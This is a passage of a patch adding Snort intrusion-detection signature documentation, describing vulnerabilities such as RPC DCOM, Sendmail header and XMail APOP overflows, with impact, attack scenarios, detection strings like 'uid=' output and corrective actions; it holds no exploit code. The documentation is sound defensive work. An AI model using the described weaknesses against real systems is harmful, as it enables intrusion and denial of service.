+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MyBloggie
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3132.txt
+++ snort-2.8.5.2/doc/signatures/3132.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3132
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the processing of a Portable Network Graphics (PNG) file by
+the GD Graphics Library.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way that software that handles PNG files,
+libpng, allocates memory for PNG images. A maliciously formatted PNG
+image sent to a vulnerable server may cause a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.  A
+PNG file with an excessively large image height, width, or depth, or
+combination of these can cause a buffer overflow.
+
+--
+Affected Systems:
+	GD Graphics Library 2.0.28 and earlier
+
+--
+Attack Scenarios:
+An attacker can create a malformed PNG file and upload it to a web server,
+possibly causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/578.txt
+++ snort-2.8.5.2/doc/signatures/578.txt
@@ -0,0 +1,60 @@
+Rule:
+
+Sid:
+578
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) cmsd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port cmsd is using.  Attackers can also learn what versions of the cmsd protocol are accepted by cmsd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as cmsd run.  The cmsd RPC service implements the Calendar Manager Service daemon that is often distributed with the Common Desktop Environment (CDE) and OpenWindows.  Several buffer overflow vulnerabilities have been associated with cmsd.
+
+--
+Affected Systems:
+Any host running the RPC service cmsd.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where cmsd runs.  This may be a precursor to accessing cmsd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access cmsd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for cmsd, not probes of the cmsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the cmsd service itself. An attacker may attempt to go directly to the cmsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids 
+http://www.whitehats.com/info/IDS17
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3378.txt
+++ snort-2.8.5.2/doc/signatures/3378.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3378
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/462.txt
+++ snort-2.8.5.2/doc/signatures/462.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+462
+
+--
+
+Summary:
+This event is generated when an ICMP Type 7 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 7 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 7 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 7 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2772.txt
+++ snort-2.8.5.2/doc/signatures/2772.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2772
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_date
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3198.txt
+++ snort-2.8.5.2/doc/signatures/3198.txt
@@ -0,0 +1,84 @@
+Rule:
+
+--
+Sid:
+3198
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This event indicates that an attempt to exploit this vulnerability via
+the ISystemActivator component has been made.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1018.txt
+++ snort-2.8.5.2/doc/signatures/1018.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1018
+
+
+--
+Summary:
+This event is generated when an attempt is made to request an HTTP-based password change.
+
+--
+Impact:
+Information gathering/remote access.  Error messages from failed password changes can indicate whether a given account exists on the server.  Successful password changes can allow remote access to the server. 
+
+--
+Detailed Information:
+Microsoft Internet Information Services (IIS) version 4 supplies a feature to allow users to make remote password changes.  The iisadmpwd directory has several .HTR files that are used to implement the password changes.  An attacker can request a change and use a returned form to supply an account name, existing password, and new password either to attempt brute force changes or to discover whether a specific account name exist. 
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0
+
+--
+Attack Scenarios:
+An attacker can request password changes to discover existing accounts or attempt brute force password changes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the IISADMPWD virtual directory to disable remote password changes.
+
+Consider running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0407
+
+Bugtraq
+http://www.securityfocus.com/bid/2110
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000153.txt
+++ snort-2.8.5.2/doc/signatures/100000153.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000153
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a
+buffer overflow associated with MDaemon IMAP authentication
+processing.
+
+--
+Impact:
+A successful attack can permit a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable
+server.
+
+--
+Detailed Information:
+The MDaemon IMAP server allows basic authentication to be
+exchanged between the client and server.  A vulnerability
+exists allowing an unauthenticated user to cause a buffer
+overflow by crafting an overly long authentication reply
+to a server challenge.  This can allow execution of arbitrary
+code on a vulnerable server.
+
+--
+Affected Systems:
+Alt-N MDaemon prior to 8.0.4
+
+--
+Attack Scenarios:
+An attacker can request IMAP authentication and reply to
+a server challenge with an overly long response, causing
+a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/553.txt
+++ snort-2.8.5.2/doc/signatures/553.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid: 
+553
+
+--
+Summary: 
+The event is generated when an attempt is made to log on to an FTP server with the username of "anonymous".
+
+--
+Impact: 
+Information gathering or remote access.  This activity may be a precursor to navigating through the accessible directories on the anonymous FTP server to do reconnaissance of the server.  Alternately, this may be a precursor of attempting an exploit, such as a buffer overflow, that may permit remote access to the vulnerable FTP server.
+
+--
+Detailed Information: 
+FTP servers may permit anonymous user access to share authorized public files.  FTP servers must have tighly restricted permissions to prevent anonymous users from navigating or writing to unauthorized directories.  If permissions are incorrectly assigned, an attacker may attempt to store unauthorized "warez" files of pirated software.  Alternately, anonymous access to a vulnerable FTP server may permit an attacker to exploit a buffer overflow, permitting execution of arbitrary commands on the host.
+
+--
+Affected Systems: 
+FTP servers allowing anonymous user access
+
+--
+Attack Scenarios: 
+An attacker may employ anonymous user access to do reconnaissance, store unauthorized files, or attempt an exploit on a vulnerable FTP server. 
+
+--
+Ease of Attack: 
+Simple
+
+--
+False Positives: 
+If anonymous user access is knowingly permitted, this rule may fire.  Consider disabling this rule to anonymous FTP server.
+
+--
+False Negatives: 
+An attacker may use the username "ftp" instead of "anonymous" to gain anonymous access.
+
+--
+Corrective Action: 
+Disable anonymous access on the FTP server if it is not required.
+
+--
+Contributors: 
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2499.txt
+++ snort-2.8.5.2/doc/signatures/2499.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2499
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2280.txt
+++ snort-2.8.5.2/doc/signatures/2280.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2280
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/528.txt
+++ snort-2.8.5.2/doc/signatures/528.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid: 528
+
+--
+Summary:
+This event is generated when loopback traffic is seen on the network.
+
+--
+Impact:
+Possible reconnaisance.
+
+--
+Detailed Information:
+Under normal circumstances traffic to the localhost (127.0.0.0/8) should
+only be seen on the loopback interface (lo0).
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Any
+
+--
+Attack Scenarios:
+The attacker may send traffic from a spoofed source address, in this 
+case the localhost.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Employ egress filtering at the firewall.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+SANS:
+http://www.sans.org/rr/firewall/egress.php
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3134.txt
+++ snort-2.8.5.2/doc/signatures/3134.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3134
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the processing of a Portable Network Graphics (PNG) file by
+the GD Graphics Library.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way that software that handles PNG files,
+libpng, allocates memory for PNG images. A maliciously formatted PNG
+image sent to a vulnerable server may cause a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.  A
+PNG file with an excessively large image height, width, or depth, or
+combination of these can cause a buffer overflow.
+
+--
+Affected Systems:
+	GD Graphics Library 2.0.28 and earlier
+
+--
+Attack Scenarios:
+An attacker can create a malformed PNG file and upload it to a web server,
+possibly causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1882.txt
+++ snort-2.8.5.2/doc/signatures/1882.txt
@@ -0,0 +1,79 @@
+Rule:  
+
+--
+Sid: 1882
+
+-- 
+
+Summary: 
+This event is generated by the use of a UNIX "id" command. This may be 
+indicative of post-compromise behavior where the attacker is checking 
+for super user privileges gained by a sucessful exploit against a 
+vulnerable system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained user access to the system.
+
+--
+Detailed Information:
+This event is generated when a UNIX "id" command is used to confirm the 
+user name of the currenly logged in user over an unencrypted connection. 
+This connection can either be a legitimate telnet connection or the 
+result of spawning a remote shell as a consequence of a successful 
+network exploit. 
+
+The string "uid=" is an output of an "id" command indicating that a 
+check is being made on the users current id.
+
+--
+
+Attack Scenarios: 
+A buffer overflow exploit against an FTP server results in "/bin/sh" 
+being executed. An automated script performing an attack, checks for the
+success of the exploit via an "id" command.
+
+-- 
+
+Ease of Attack: 
+Simple. This may be post-attack behavior and can be indicative of the 
+successful exploitation of a vulnerable system.
+
+-- 
+
+False Positives: 
+This rule will generate an event if a legitimate system administrator 
+executes the "id" command over an unencrypted connection to verify the 
+privilege level available to him.
+
+This rule may generate false positive events when some servers return 
+error messages that include uid and gid information. Qmail is one such 
+server application.
+
+This rule may also generate event by viewing the documentation on 
+snort.org.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Ensure that this event was not generated by a legitimate session then 
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Additional false positive information from Javier Fernandez-Sanguino
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3087.txt
+++ snort-2.8.5.2/doc/signatures/3087.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3087
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow in Microsoft Browser Client Context Tool (W3Who.dll).
+
+--
+Impact:
+Denial of service or remote access. If the exploit is successful,
+an attacker can gain remote access to the host with system privileges.
+
+--
+Detailed Information:
+W3Who is an Internet Server Application Programming Interface (ISAPI)
+application dynamic-link library (DLL) that works within a Web page to
+display information about the calling context of the client browser and
+the configuration of the host server. W3Who is included in the Windows
+2000 Server Resource Kit.
+
+A boundary error within the processing of parameters can be exploited
+to cause a buffer overflow by passing an overly long parameter.
+
+--
+Affected Systems:
+Microsoft IIS with W3Who.dll. (W3Who.dll is not automatically installed
+with IIS.)
+
+--
+Attack Scenarios:
+An attacker can send a malformed HTTP request with an overly long
+parameter to W3Who DLL, subsequently causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+Any overly large request URI with a reference to w3who.dll will be
+detected.
+
+--
+False Negatives:
+This rule only detects the attack when the parameters are passed
+as part of the URI (GET method).
+
+--
+Corrective Action:
+Disable the W3Who.dll ISAPI extension.
+
+--
+Contributors:
+nnposter@users.sourceforge.net
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;Q323640
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000470.txt
+++ snort-2.8.5.2/doc/signatures/100000470.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000470
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Foing" application running on a webserver. Access 
+to the file "manage_songs.php" using a remote file being passed as the 
+"foing_root_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "foing_root_path" parameter in the "manage_songs.php" 
+script used by the "Foing" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Foing
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/238.txt
+++ snort-2.8.5.2/doc/signatures/238.txt
@@ -0,0 +1,61 @@
+Rule:
+--
+Sid:
+238
+
+--
+Summary:
+This event is generated when a Tribe Flood Network (TFN) Distributed Denial of Service (DDoS) daemon responds to a client request to spawn a shell.
+
+--
+Impact:
+Attempted DDoS.  If the listed source IP is in your network, it may be a TFN daemon.  If the listed destination IP is in your network, it may be a TFN client.
+
+--
+Detailed Information:
+The TFN DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. Clients communicate with daemons to inform them to launch attacks. A daemon will respond with a client request to spawn a shell with an ICMP echo reply with an ICMP identification number of 123, an ICMP sequence number of 0 and a string of "shell bound to port" in the payload.   
+
+--
+Affected Systems:
+Any TFN compromised host.
+
+--
+Attack Scenarios:
+After a host becomes a TFN daemon, it will respond to client requests.
+
+--
+Ease of Attack:
+Simple. TFN code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+Arachnids:
+http://www.whitehats.com/info/IDS182
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1464.txt
+++ snort-2.8.5.2/doc/signatures/1464.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1464
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/662.txt
+++ snort-2.8.5.2/doc/signatures/662.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+662
+
+--
+Summary:
+This event is generated when maliciously formatted "mail from" text is supplied.
+
+--
+Impact:
+Attempted administrator access.  A successful attack can allow remote execution of commands with root privileges. 
+
+--
+Detailed Information:
+A vulnerability exists in older versions of Sendmail that incorrectly parses message headers.  This vulnerability can allow anattacker to execute arbitrary commands as root.
+
+--
+Affected Systems:
+Sendmail versions prior to 8.6.10 and any version based on 5.x.
+
+--
+Attack Scenarios:
+An attacker can craft a malicious mail header that executes a command. 
+
+--
+Ease of Attack:
+Easy.  Use a maliciously formatted header.
+ 
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to version 8.6.10 or higher of Sendmail.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2308
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0203
+
+Arachnids:
+http://www.whitehats.com/info/IDS119
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1635.txt
+++ snort-2.8.5.2/doc/signatures/1635.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1635
+
+--
+Summary: 
+This event is generated when an attempt is made to exploit a potential 
+buffer overflow using the APOP command.  If running a vulnerable mail 
+server, such as older XMail versions, this attack may lead to remote 
+execution of arbitrary code.
+--
+Impact:
+When succesfully exploited, the remote attacker can crash the POP3
+service or execute arbitrary code on the mailserver.
+--
+Detailed Information:
+The APOP command, used to submit authentication credentials to the POP3 
+server, has an overflowable buffer in XMail 0.58 and earlier.  If an 
+argument to the APOP command is longer than 256 characters, the service 
+will crash.  This error may be exploitable further, and could then allow
+the attacker to execute arbitrary code on the remote system.
+
+--
+Affected Systems:
+	XMail 0.58 or earlier
+
+--
+Attack Scenarios:
+An attacker could crash the POP server, thereby denying
+legitimate users access to their e-mail.  Skilled attackers could
+compromise the mailserver and obtain all incoming e-mail data.
+
+--
+Ease of Attack:
+The DoS attack is trivial to execute, as only an argument
+longer than 256 characters needs to be submitted.  Compromise of the
+mailserver requires more skill, but has been proven to be possible..
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade the XtraMail installation to a more recent
+version.  The most recent versions can always be found on the vendor's
+website, http://www.xmailserver.org/
+
+--
+Contributors:
